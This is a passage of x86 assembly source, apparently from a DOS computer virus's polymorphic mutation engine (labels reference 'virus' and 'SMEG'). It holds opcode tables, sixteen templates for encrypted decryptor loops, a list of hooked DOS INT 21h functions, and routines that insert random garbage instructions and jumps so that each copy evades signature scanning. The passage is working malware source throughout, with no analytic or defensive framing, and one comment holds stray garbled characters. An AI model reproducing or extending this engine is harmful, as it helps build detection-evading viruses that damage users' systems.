        dw      0D0C3h   ;  ROL reg, 1/CL
        dw       8405h   ; TEST/XCHG reg, [reg]
        dw      0D0DBh   ;  RCR reg, 1/CL
        dw      0C6C1h   ;  MOV reg, XXXX
        dw      080C9h   ;   OR reg, XXXX
        dw       0A01h   ;   OR reg, [reg]
        dw      0F6D1h   ;  NOT reg
        dw      0F6D9h   ;  NEG reg
        dw       8A01h   ;  MOV reg, [reg]
        dw      0C6C1h   ;  MOV reg, XXXX
        dw       0201h   ;  ADD reg, [reg]
        dw       80C1h   ;  ADD reg, XXXX
        dw       80FDh   ;  CMP reg, XXXX
        dw       3807h   ;  CMP reg, [reg]       (2 diff encodings)
        dw       80E1h   ;  AND reg, XXXX
        dw      0D0D3h   ;  RCL reg, 1/CL
        dw       2201h   ;  AND reg, [reg]
        dw       1201h   ;  ADC reg, [reg]
        dw       8A01h   ;  MOV reg, [reg]
;
number_of_fnc21=11
int21fcns db     0Dh,19h,2Ah,2Ch,2Eh,30h,3Dh,41h,4Dh,54h,62h
        ;0Dh,2Eh,3Dh,41h,4Dh,54h,62h
;
counter_init_table:
        dw       offset(counterinit0-virus)
        dw       offset(counterinit1-virus)
        dw       offset(counterinit2-virus)
        dw       offset(counterinit3-virus)
        dw       offset(counterinit4-virus)
        dw       offset(counterinit5-virus)
        dw       offset(counterinit6-virus)
        dw       offset(counterinit7-virus)
;
encode_table:
        dw      offset(use_as_is-virus)
        dw      offset(fill_mod_field-virus)
        dw      offset(fill_field-virus)
        dw      offset(fill_reg_reg1-virus)
        dw      offset(fill_reg_field-virus)
        dw      offset(fill_mod_n_reg-virus)
        dw      offset(fill_reg_reg2-virus)
;
encode_tbl1:
        db       8h,8Ch,0,0C8h,4,0       ; 1 MOV reg0, CS
        db       8h,8Eh,0,0D8h,4,0       ; 2 MOV DS, reg0
        db       7h,0B8h,4,-1,0,2        ; 3 MOV reg7,initial pointer
        db       1h,0B8h,4,-1,0,3        ; 4 MOV reg1,initial counter
        db       57h,8Ah,0,80h,5,4       ; 5 MOV reg2,[reg7+offset]
        db       57h,88h,0,80h,5,4       ; 6 MOV [reg7+offset],reg2
        db       2h,80h,0,0F0h,4,1       ; 7 XOR reg2,cryptvalue
        db       11h,8Bh,0,0C0h,5,0      ; 8 MOV reg2,reg1
        db       78h,30h,0,0,6,0         ; 9 XOR [reg7],reg0
        db       47h,0F6h,0,98h,4,4      ; A NEG [reg7+offset]
        db       47h,0F6h,0,90h,4,4      ; B NOT [reg7+offset]
        db       7,40h,4,-1,0,0          ; C INC reg7
        db       1,48h,4,-1,0,0          ; D DEC reg1
        db       8h,0B0h,4,-1,0,1        ; E MOV reg0,cryptval
        db       10h,33h,0,0C0h,5,0      ; F XOR reg2,reg0
;
encode_tbl2:
        db       47h,86h,0,80h,5,4        ; 1 XCHG reg0,[reg7+offset]
        db       8h,40h,4,-1,0,0          ; 2 INC reg0
        db       8h,48h,4,-1,0,0          ; 3 DEC reg0
        db       7h,81h,0,0C0h,4,15h      ; 4 ADD reg7,1
        db       1,81h,0,0E8h,4,15h       ; 5 SUB reg1,1
        db       10h,2,0,0C0h,5,0         ; 6 ADD reg2,reg0
        db       10h,2Ah,0,0C0h,5,0       ; 7 SUB reg2,reg0
        db       47h,0FBh,4,0B0h,4,4      ; 8 PUSH [reg7+offset]
        db       47h,8Fh,0,80h,4,4        ; 9 POP  [reg7+offset]
        db       8h,50h,4,-1,0,0          ; A PUSH reg0
        db       8h,58h,4,-1,0,0          ; B POP reg0
        db       10h,87h,0,0C0h,5,0       ; C XCHG reg2,reg0
        db       2,40h,4,-1,0,0           ; D INC reg2
        db       8,8Bh,0,0C0h,5,0         ; E MOV reg1,reg0
        db       9,23h,0,0C0h,5,0         ; F AND reg1,reg1
;
routine4:
        db       10h
        ; MOV reg0,CS                   (1)
        ; MOV reg7,initial pointer      (3)
        ; MOV DS,reg0                   (2)
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,encryption value     (E)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; MOV reg2,[reg7+offset]        (5)
        ; XOR reg2,reg0                 (F)
        ; INC reg0                      (02)
        ; MOV [reg7+offset],reg2        (6)
        ; INC reg7                      (C)
        ; DEC reg1                      (D)
        ; done                          (-1)
        db       13h,24h,0EFh,05h,0F0h,26h,0CDh,-1
;
routine8:
        db       71h
        ; MOV reg7,initial pointer      (3)
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; MOV reg0,encryption value     (E)
        ; beginning of loop             (0)
        ; DEC reg1                      (D)
        ; NEG [reg7+offset]             (A)
        ; DEC reg1                      (D)
        ; MOV reg2,[reg7+offset]        (5)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; DEC reg0                      (03)
        ; ADD reg7,1                    (04)
        ; SUB reg1,1                    (05)
        ; DEC reg0                      (03)
        ; SUB reg1,1                    (05)
        ; done                          (-1)
        db       34h,12h,0EEh,0Dh,0ADh,5Fh,60h,30h,40h,50h,30h,50h,-1
;
routine1:
        db       42h
        ; MOV reg1,initial counter      (4)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,CS                   (1)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg0,encryption value     (E)
        ; MOV reg0,encryption value     (E)
        ; XCHG reg2,reg0                (0C)
        ; MOV DS,reg0                   (2)
        ; beginning of loop             (0)
        ; XCHG reg0,[reg7+offset]       (01)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; MOV reg2,reg1                 (8)
        ; MOV reg2,reg1                 (8)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; DEC reg0                      (03)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; ADD reg7,1                    (04)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        ; return code 0                 (0)
        db       43h,10h,0CEh,0E0h,0C2h,0,1Fh,68h,80h,0D0h,0D0h,0D0h
        db       30h,0C0h,0E0h,40h,0F0h,-1,0
;
routineC:
        db       33h
        ; MOV reg0,CS                   (1)
        ; MOV reg1,initial counter      (4)
        ; MOV DS,reg0                   (2)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,encryption value     (E)
        ; MOV reg0,encryption value     (E)
        ; beginning of loop             (0)
        ; DEC reg1                      (D)
        ; DEC reg1                      (D)
        ; NOT [reg7+offset]             (B)
        ; MOV reg2,[reg7+offset]        (5)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; XOR reg2,reg0                 (F)
        ; INC reg7                      (C)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; XOR reg2,reg0                 (F)
        ; done                          (-1)
        db       14h,23h,0EEh,0Dh,0DBh,5Fh,6Fh,0C0h,20h,20h,0F0h,-1
;
routineE:
        db       64h
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; MOV reg7,initial pointer      (3)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; XOR [reg7],reg0               (9)
        ; MOV reg2,reg1                 (8)
        ; XCHG reg2,reg0                (0C)
        ; INC reg0                      (02)
        ; INC reg2                      (0D)
        ; INC reg0                      (02)
        ; ADD reg7,1                    (04)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; MOV reg1,reg0                 (0E)
        ; INC reg2                      (0D)
        ; XCHG reg2,reg0                (0C)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       41h,2Eh,3Fh,9h,80h,0C0h,20h,0D0h,20h,40h,20h,20h
        db       0E0h,0D0h,0C0h,0F0h,-1
;
routine2:
        db       5h
        ; MOV reg0,CS                   (1)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg1,initial counter      (4)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; DEC reg1                      (D)
        ; XOR reg2,encryption value     (7)
        ; PUSH reg0                     (0A)
        ; PUSH [reg7+offset]            (08)
        ; POP reg0                      (0B)
        ; XCHG reg2,reg0                (0C)
        ; POP reg0                      (0B)
        ; PUSH reg0                     (0A)
        ; SUB reg2,reg0                 (07)
        ; MOV [reg7+offset],reg2        (6)
        ; INC reg7                      (C)
        ; MOV reg2,reg1                 (8)
        ; MOV reg2,reg1                 (8)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; POP reg0                      (0B)
        ; INC reg0                      (02)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       13h,42h,0EFh,0Dh,70h,0A0h,80h,0B0h,0C0h,0B0h,0A0h
        db       76h,0C8h,80h,0D0h,0D0h,0C0h,0E0h,0B0h,20h,0F0h,-1
;
routineF:
        db       56h
        ; MOV reg7,initial pointer      (3)
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; beginning of loop             (0)
        ; MOV reg2,[reg7+offset]        (5)
        ; INC reg2                      (0D)
        ; ADD reg2,reg0                 (06)
        ; MOV [reg7+offset],reg2        (6)
        ; MOV reg2,reg1                 (8)
        ; DEC reg0                      (03)
        ; XOR reg2,reg0                 (F)
        ; DEC reg1                      (D)
        ; INC reg7                      (C)
        ; DEC reg1                      (D)
        ; done                          (-1)
        db       34h,12h,2Eh,5h,0D0h,66h,80h,3Fh,0DCh,0D0h,-1
;
routine9:
        db       27h
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,CS                   (1)
        ; MOV reg7,initial pointer      (3)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; XOR [reg7],reg0               (9)
        ; XOR reg2,reg0                 (F)
        ; ADD reg7,1                    (04)
        ; PUSH reg0                     (0A)
        ; MOV reg2,reg1                 (8)
        ; DEC reg1                      (D)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; POP reg0                      (0B)
        ; DEC reg0                      (03)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       41h,32h,0EFh,9h,0F0h,40h,0A8h,0D0h,0D0h,0D0h
        db       0C0h,0E0h,0B0h,30h,0F0h,-1
;
routine7:
        db       32h
        ; MOV reg1,initial counter      (4)
        ; MOV reg0,CS                   (1)
        ; MOV reg7,initial pointer      (3)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; XCHG reg2,reg0                (0C)
        ; beginning of loop             (0)
        ; MOV reg2,reg1                 (8)
        ; DEC reg1                      (D)
        ; POP reg0                      (0B)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; DEC reg0                      (03)
        ; XCHG reg2,reg0                (0C)
        ; ADD reg7,1                    (04)
        ; DEC reg1                      (D)
        ; done                          (-1)
        ; return code 0                 (0)
        db       41h,32h,0E0h,0C0h,8h,0D0h,0BFh,60h,30h,0C0h,4Dh,-1,0
;
routine5:
        db       11h
        ; MOV reg1,initial counter      (4)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; NEG [reg7+offset]             (A)
        ; MOV reg2,[reg7+offset]        (5)
        ; XOR reg2,reg0                 (F)
        ; DEC reg1                      (D)
        ; DEC reg0                      (03)
        ; DEC reg0                      (03)
        ; XCHG reg2,reg0                (0C)
        ; XCHG reg0,[reg7+offset]       (01)
        ; XCHG reg2,reg0                (0C)
        ; ADD reg7,1                    (04)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       43h,12h,0EFh,0Ah,5Fh,0D0h,30h,30h,0C0h,10h,0C0h,40h,0F0h,-1
;
routineB:
        db       66h
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,CS                   (1)
        ; MOV reg1,initial counter      (4)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; XOR reg2,reg0                 (F)
        ; beginning of loop             (0)
        ; PUSH reg0                     (0A)
        ; PUSH [reg7+offset]            (08)
        ; MOV reg2,reg1                 (8)
        ; MOV reg2,reg1                 (8)
        ; XCHG reg2,reg0                (0C)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; MOV reg1,reg0                 (0E)
        ; POP reg0                      (0B)
        ; XCHG reg2,reg0                (0C)
        ; POP reg0                      (0B)
        ; ADD reg2,reg0                 (06)
        ; PUSH reg0                     (0A)
        ; XCHG reg2,reg0                (0C)
        ; PUSH reg0                     (0A)
        ; POP [reg7+offset]             (09)
        ; POP reg0                      (0B)
        ; DEC reg0                      (03)
        ; INC reg7                      (C)
        ; XOR reg2,reg0                 (F)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       31h,42h,0EFh,0,0A0h,88h,80h,0C0h,20h,20h,20h,20h,0E0h
        db       0B0h,0C0h,0B0h,60h,0A0h,0C0h,0A0h,90h,0B0h,3Ch,0F0h,0F0h,-1
;
routine3:
        db       4h
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; MOV reg2,reg1                 (8)
        ; MOV reg1,initial counter      (4)
        ; MOV reg7,initial pointer      (3)
        ; beginning of loop             (0)
        ; MOV reg2,reg1                 (8)
        ; DEC reg1                      (D)
        ; INC reg2                      (0D)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; XCHG reg2,reg0                (0C)
        ; XOR [reg7],reg0               (9)
        ; INC reg7                      (C)
        ; INC reg0                      (02)
        ; INC reg0                      (02)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        db       12h,0E8h,43h,8,0D0h,0D0h,0C0h,0E0h,0C9h,0C0h,20h,20h
        db       0F0h,-1
;
routineD:
        db       73h
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,CS                   (1)
        ; MOV reg1,initial counter      (4)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; MOV reg1,initial counter      (4)
        ; beginning of loop             (0)
        ; DEC reg1                      (D)
        ; DEC reg1                      (D)
        ; DEC reg1                      (D)
        ; NOT [reg7+offset]             (B)
        ; PUSH reg0                     (0A)
        ; PUSH [reg7+offset]            (08)
        ; POP reg0                      (0B)
        ; XCHG reg2,reg0                (0C)
        ; POP reg0                      (0B)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; INC reg0                      (02)
        ; ADD reg7,1                    (04)
        ; INC reg0                      (02)
        ; SUB reg1,1                    (05)
        ; done                          (-1)
        db       31h,42h,0E4h,0Dh,0DDh,0B0h,0A0h,80h,0B0h,0C0h,0BFh,60h
        db       20h,40h,20h,50h,-1
;
routine0:
        db       20h
        ; MOV reg0,encryption value     (E)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg0,CS                   (1)
        ; MOV reg7,initial pointer      (3)
        ; MOV DS,reg0                   (2)
        ; MOV reg1,initial counter      (4)
        ; beginning of loop             (0)
        ; XCHG reg0,[reg7+offset]       (01)
        ; XCHG reg2,reg0                (0C)
        ; XOR reg2,reg0                 (F)
        ; DEC reg1                      (D)
        ; XCHG reg2,reg0                (0C)
        ; XCHG reg0,[reg7+offset]       (01)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg2,reg1                 (8)
        ; INC reg7                      (C)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; INC reg0                      (02)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        ; return code 0                 (0)
        db       0E0h,0C1h,32h,40h,0,10h,0CFh,0D0h,0C0h,10h,0C8h,0C0h,0D0h
        db       0D0h,0D0h,20h,0C0h,0E0h,0F0h,-1,0
;
routine6:
        db       55h
        ; MOV reg1,initial counter      (4)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; MOV reg0,encryption value     (E)
        ; MOV reg7,initial pointer      (3)
        ; beginning of loop             (0)
        ; MOV reg2,[reg7+offset]        (5)
        ; DEC reg1                      (D)
        ; SUB reg2,reg0                 (07)
        ; INC reg0                      (02)
        ; SUB reg1,1                    (05)
        ; MOV [reg7+offset],reg2        (6)
        ; INC reg7                      (C)
        ; DEC reg1                      (D)
        ; done                          (-1)
        db       43h,12h,0E3h,5h,0D0h,70h,20h,56h,0CDh,-1
;
routineA:
        db       47h
        ; MOV reg0,encryption value     (E)
        ; MOV reg7,initial pointer      (3)
        ; MOV reg1,initial counter      (4)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg0,CS                   (1)
        ; MOV DS,reg0                   (2)
        ; beginning of loop             (0)
        ; PUSH [reg7+offset]            (08)
        ; POP reg0                      (0B)
        ; XCHG reg2,reg0                (0C)
        ; XOR reg2,reg0                 (F)
        ; MOV [reg7+offset],reg2        (6)
        ; MOV reg2,reg1                 (8)
        ; DEC reg1                      (D)
        ; DEC reg0                      (03)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; INC reg2                      (0D)
        ; XCHG reg2,reg0                (0C)
        ; MOV reg1,reg0                 (0E)
        ; ADD reg7,1                    (04)
        ; AND reg1,reg1                 (0F)
        ; done                          (-1)
        ; return code 0                 (0)
        db       0E3h,40h,0C1h,20h,0h,80h,0B0h,0CFh,68h,0D0h,30h,0D0h,0D0h
        db       0D0h,0C0h,0E0h,40h,0F0h,-1,0
;
jmp_table:
        dw       offset(jmp0-virus)
        dw       offset(jmp1-virus)
        dw       offset(jmp2-virus)
        dw       offset(jmp3-virus)
;
routine_table:
        dw       offset(routine0-virus)
        dw       offset(routine1-virus)
        dw       offset(routine2-virus)
        dw       offset(routine3-virus)
        dw       offset(routine4-virus)
        dw       offset(routine5-virus)
        dw       offset(routine6-virus)
        dw       offset(routine7-virus)
        dw       offset(routine8-virus)
        dw       offset(routine9-virus)
        dw       offset(routineA-virus)
        dw       offset(routineB-virus)
        dw       offset(routineC-virus)
        dw       offset(routineD-virus)
        dw       offset(routineE-virus)
        dw       offset(routineF-virus)
;
counterinit0:
        neg      ax
counterinit1:
        retn
counterinit2:
        neg      ax
counterinit3:
        add      ax,ax
        retn
counterinit4:
        neg      ax
counterinit5:
        mov      cx,ax
        add      ax,ax
        add      ax,cx
        retn
counterinit6:
        neg      ax
counterinit7:
        add      ax,ax
        add      ax,ax
        retn
jmp0:
        mov      al,0E9h                 ; encode a JMP
        stosb                            ; (with word offset)
        mov      ax,di                   ; calculate offset to
        sub      ax,ds:[loop_top-virus]        ; top of decryption loop
        inc      ax                      ; adjust for jmp instruction
        inc      ax
        neg      ax                      ; adjust for going back instead
        retn                             ; of forwards
jmp1:
        mov      ax,0E0FFh               ; encode JMP register
        or       ah,[si]
        retn
jmp2:
        mov      ax,0C350h                ; encode PUSH/RETn
jmpXdone:
        or       al,[si]
        retn
jmp3:
        mov      al,0Eh                   ; encode PUSH CS
        stosb
        call     garble_some              ; garble a bit
        mov      ax,0CB50h                ; encode PUSH reg/RETN
        jmp      short jmpXdone
;
encode_routine:
        call     random_any_ax           ; pick a random routine
        mov      bx,offset(routine_table-virus) ; to use
        and      ax,0Fh
        add      ax,ax
        add      bx,ax
        mov      bx,[bx]
        mov      si,bx
        lodsb                            ; get the first byte
        mov      ds:[crypt_type-virus],al      ; and save it
        jmp      short encode_routine2   ; keep going...
;
encode_it:
        lodsb                            ; get the next byte
        cmp      ah,-1                   ; are we done?
        je       use_as_is               ; if so, exit
        xor      bh,bh                   ; convert AL to
        add      al,al                   ; offset in encode_table
        mov      bl,al
        add      bx,offset(encode_table-virus)
        mov      al,dh
        mov      cx,3
        mov      bx,[bx]
        call     bx
        xchg     ah,al
        stosb                           ; write the resulting byte
use_as_is:
        retn
;
fill_mod_field:
        ror      al,cl
fill_field:
        and      al,7h                   ; get the register # al
        mov      bx,offset(dataarea_for_SMEG-virus+6)
        xlat
        rol      al,cl
        and      cl,cl                   ; encoding rm or reg?
        jnz      not_memory              ; branch if doing rm
        test     dh,40h                  ; memory access?
        jz       not_memory
        cmp      al,3h                   ; using bx?
        jne      not_BX
        mov      al,7h                   ; change it to di
        jmp      short not_memory
not_BX:
        cmp      al,6h                   ; is it si?
        jb       not_memory
        sub      al,2h                   ; change it to double register
not_memory:
        or       ah,al
        retn
fill_reg_reg1:
        ror      al,cl                   ; [reg], reg
fill_reg_field:
        xor      cl,cl                   ; fill bottom 3 bits only
        jmp      short fill_field
fill_mod_n_reg:
        call     fill_mod_field          ; fill mod field as usual
        mov      al,dh                   ; fill reg field with the
        jmp      short fill_reg_field    ; register that holds the
fill_reg_reg2:
        call     fill_field
        mov      al,dh
        jmp      short fill_reg_reg1
;
encode_routine2:
        mov      word ptr ds:[which_tbl-virus],offset(encode_tbl1-6h-virus)
process_all:
        lodsb                            ; get a byte
        cmp      al,-1                   ; are we at the end?
        jne      process_byte            ; no, keep going
        lodsb                            ; else get returncode and exit
        retn
;
process_byte:
        push     si ax
        mov      cl,4
        call     process_nibble
        xor      cl,cl
        pop      ax
        call     process_nibble
        pop      si
        jmp      short process_all
process_nibble:
        ror      al,cl                   ; only use the part of
        and      ax,0Fh                  ; the byte that we want
        jnz      no_switch_table
        and      cl,cl                   ; if the lower half of byte=0,
        jz       switch_tables           ; switch tables
        mov      ds:[loop_top-virus],di        ; otherwise save this location
        retn                             ; as the top of the loop
switch_tables:
        mov      word ptr ds:[which_tbl-virus],offset(encode_tbl2-6-virus)
        retn
no_switch_table:
        push     ax
        call     garble_more
        pop      ax
        add      ax,ax                   ; calculate AX*6+ds:[which_tbl--virus]
        mov      bx,ax
        add      ax,ax
        add      ax,bx
        add      ax,ds:[which_tbl-virus]
        mov      word ptr ds:[which_tbl-virus],offset(encode_tbl1-6h-virus)
        xchg     si,ax
        lodsb
        mov      dh,al                   ; dh holds first byte
        lodsb
        xchg     ah,al                   ; ah holds second byte
        call     encode_it               ; process it
        lodsb                            ; now ah holds the next byte
        xchg     ah,al
        call     encode_it               ; process it
        lodsb                            ; get the next byte
        mov      dl,al                   ; it tells us which
        and      ax,0Fh                  ; value to write in
        add      ax,ax                   ; this is the modifier
        add      ax,offset(write_table-virus)
        xchg     bx,ax                   ; value, etc.
        mov      bx,[bx]
        jmp      bx
write_nothing:
        retn
write_cryptval:
        mov      al,ds:[cryptval-virus]
        stosb
        retn
write_pointer_patch:    ; save location of pointer initialisation
        mov      ds:[pointer_patch-virus],di
        stosw
        retn
write_counter_patch:    ; save location of counter initialisation
        mov      ds:[counter_patch-virus],di
        stosw
        retn
write_ptr_offset:       ; write XXXX of [bx+XXXX]
        mov      ax,ds:[ptr_offsets-virus]
        mov      ds:[pointer_fixup-virus],ax
        stosw
        retn
write_dl:
        mov      al,dl                   ; write lower half of top
        mov      cl,4                    ; byte of dl as a word
        shr      al,cl                   ; used as amount to increment
        and      ax,0Fh
        stosw
        retn
;
garble_some:
        push     si
        mov      dx,3                    ; garble 2-5 times
        call     multiple_garble
        pop      si
        retn
;
garble_more:
        mov      dx,7h
multiple_garble:
        call     random_dx
        inc      dx
        inc      dx
        xchg     cx,dx
garble_again:
        push     cx                      ; save garble count
        call     garble_once             ; garble
        pop      cx                      ; restore garble count
        loop     garble_again
        cmp      ds:[cJMP_patch-virus],cx      ; cJMP_patch == 0? i.e. is
        je       skip_finish_cJMP        ; there an unfinished cJMP?
        call     finish_cJMP             ; if so, finish it
skip_finish_cJMP:
        call     many_nonbranch_garble   ; garble garble
        mov      bx,ds:[nJMP_patch-virus]      ; check if pending nJMP
        and      bx,bx
        jnz      loc_0047                ; if so, keep going
        retn
loc_0047:                                ;  xref 4028:0996
        mov      al,0C3h                 ; encode a RETN
        stosb
        mov      ax,di
        sub      ax,bx
        dec      ax
        dec      ax
        mov      [bx],ax
        mov      ds:[CALL_patch-virus],bx
        mov      word ptr ds:[nJMP_patch-virus],0
;
many_nonbranch_garble:
        call     random_any_ax                 ; do large instruction
        and      ax,3                    ; garble from 3 to 6 times
        add      al,3
        xchg     cx,ax
many_nonbranch_garble_loop:
        push     cx
        call     not_branch_garble
        pop      cx
        loop     many_nonbranch_garble_loop
        retn
;
; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP:
        mov      ax,di                   ; get current location
        mov      bx,ds:[cJMP_patch-virus]      ; get previous location
        sub      ax,bx
        dec      al                      ; calculate offset
        jnz      go_patch_cJMP           ; if nothing in between,
        call     not_branch_garble       ; fill in some instructions
        jmp      short finish_cJMP       ; and do this again
go_patch_cJMP:
        cmp      ax,7Fh                  ; are we close enough?
        jbe      patch_cJMP              ; if so, finish this now
        xor      al,al                   ; if not, encode cJMP $+2
patch_cJMP:
        mov      [bx],al                 ; patch the cJMP destination
        mov      word ptr ds:[cJMP_patch-virus],0 ; clear usage flag
        retn
;
set_reg_mask:
        and      cl,0F8h                  ; clear bottom 3 bits
        mov      bx,offset(dataarea_for_SMEG-virus+6)
        mov      dh,7h                    ; assume one of 8 registers
        test     dl,4h                    ; can we use any register?
        jnz      set_reg_mask_exit       ; if so, quit
        add      bx,3     ; otherwise, set mask so we
        mov      dh,3                    ; only choose from regs 3-6
set_reg_mask_exit:
        retn
;
choose_register:
        call     random_any_ax           ; get random number
        xor      ah,ah                   ; clear high byte
        and      al,dh                   ; use mask from set_reg_mask
        add      bx,ax
        mov      al,[bx]                 ; get the register number
        test     ch,1                    ; byte or word register?
        jnz      choose_reg_done         ; if word, we are okay
        test     byte ptr [si-2],4       ; otherwise, check if we can
        jnz      choose_reg_done         ; take only half the register
        mov      ah,al                   ; uh oh, we can't, so...
        and      al,3                    ; is it one of the garbage
        cmp      al,ds:[dataarea_for_SMEG-virus+9h]
        mov      al,ah                   ; if so, we are done
        jz       choose_reg_done
        mov      al,ds:[dataarea_for_SMEG-virus+9h]
        cmp      al,4                    ; ax,cx,dx, or bx?
        jb       werd                    ; to yer muthah!
        pop      ax                      ; pop off return location
        retn                             ; go to caller's caller
werd:
        and      ah,4                    ; make either byte or word
        or       al,ah                   ; register
choose_reg_done:
        retn
;
garble_once:
        call     random_any_ax
        cmp      ah,0C8h                 ; randomly go to either
        jbe      other_garble            ; here ...
        jmp      branch_garble           ; ... or here
not_branch_garble:
        call     random_any_ax
other_garble:
        cmp      al,0F0h
        jbe      larger_instr            ; mostly do larger instructions
        jmp      do_one_byte             ; 1/16 chance
        ;
        ;p 让 p樥
larger_instr:
        and      ax,1Fh                  ; normalise random number
        add      ax,ax
        add      ax,offset(garble_table-virus)
        xchg     si,ax
        lodsw    ;AX=DS:[SI]             ; get table entry
        xchg     cx,ax                   ; keep it in CX
        mov      dl,cl                   ; pick out the bottom
        and      dl,3                    ; mask out low 2 bits
        xor      dh,dh
        call     random_dx
        or       ch,dl                   ; byte for variable opcodes
                                         ; (e.g. allows byte & word
                                         ;  forms of opcode to use the
                                         ;  same table entry)
        mov      dl,cl
        and      dl,0C0h                 ; mask out mod field
        cmp      dl,0C0h                 ; does it indicate register
        mov      dl,cl                   ; operation? i.e. 2 regs
        jz       no_memory               ; if so, branch
        call     set_reg_mask            ; otherwise, process memory
        call     random_any_ax           ; and register operation
        and      al,0C0h                 ; clear all but top 2 bits
        or       cl,al                   ; fill in the field
        rol      al,1
        rol      al,1
        mov      dl,al
        call     random_any_ax           ; generate the registers to use
        and      al,7h                   ; in memory access,i.e. [bx+si]
        or       cl,al                   ; patch into 2nd byte of instr
        cmp      dl,3h
        je       fill_in_rm
        cmp      al,6h
        jne      force_byte
        mov      dl,2h                   ; alter mask to choose AX or DX
        and      cl,3Fh
        jmp      short fill_in_rm
force_byte:
        and      ch,not 1                ; change to byte data
                                         ; "byte sized"
fill_in_rm:
        call     choose_register         ; move register into
        shl      al,1                    ; the rm field
        shl      al,1
        shl      al,1
finish_larger:
        or       cl,al                   ; combine data
        xchg     cx,ax                   ; move it to the right register
        xchg     ah,al                   ; reverse byte order
        stosw                            ; write the instruction
        and      dl,dl                   ; needs data bytes?
        jnz      needs_data
        retn
needs_data:
        cmp      dl,3h                   ; check length of instruction
        jne      do_data_bytes
        retn
do_data_bytes:
        call     random_any_ax           ; keep the random number
        and      al,3Fh                  ; under 40h
        stosb                            ; write the byte
        dec      dl                      ; decrement bytes to write
        jnz      do_data_bytes
        retn
;
no_memory:
        call     set_reg_mask
        call     choose_register
        mov      ah,ch                   ; get the opcode and clear the
        and      ah,0FEh                 ; size bit for now
        cmp      ah,0F6h
        jne      not_NOT_NEG
        test     cl,10h                  ; is it TEST instruction?
        jz       not_NOT_NEG             ; if it is, go find the number
                                         ; of data bytes it needs, else
                                         ; it is NOT or NEG, so there're
no_data_bytes:
        xor      dl,dl                   ; no data bytes
        jmp      short finish_larger
not_NOT_NEG:
        and      ah,0FCh                  ; is it a shift or rotate?
        cmp      ah,0D0h
        jne      set_data_length         ; if not, calculate # data
                                         ; bytes needed, else
        jmp      short no_data_bytes     ; we don't need any
set_data_length:
        test     ch,1                    ; byte or word of data?
        mov      dl,2                    ; assume word
        jnz      finish_larger           ; continue if so
        dec      dl                      ; DEC DX is better!!!
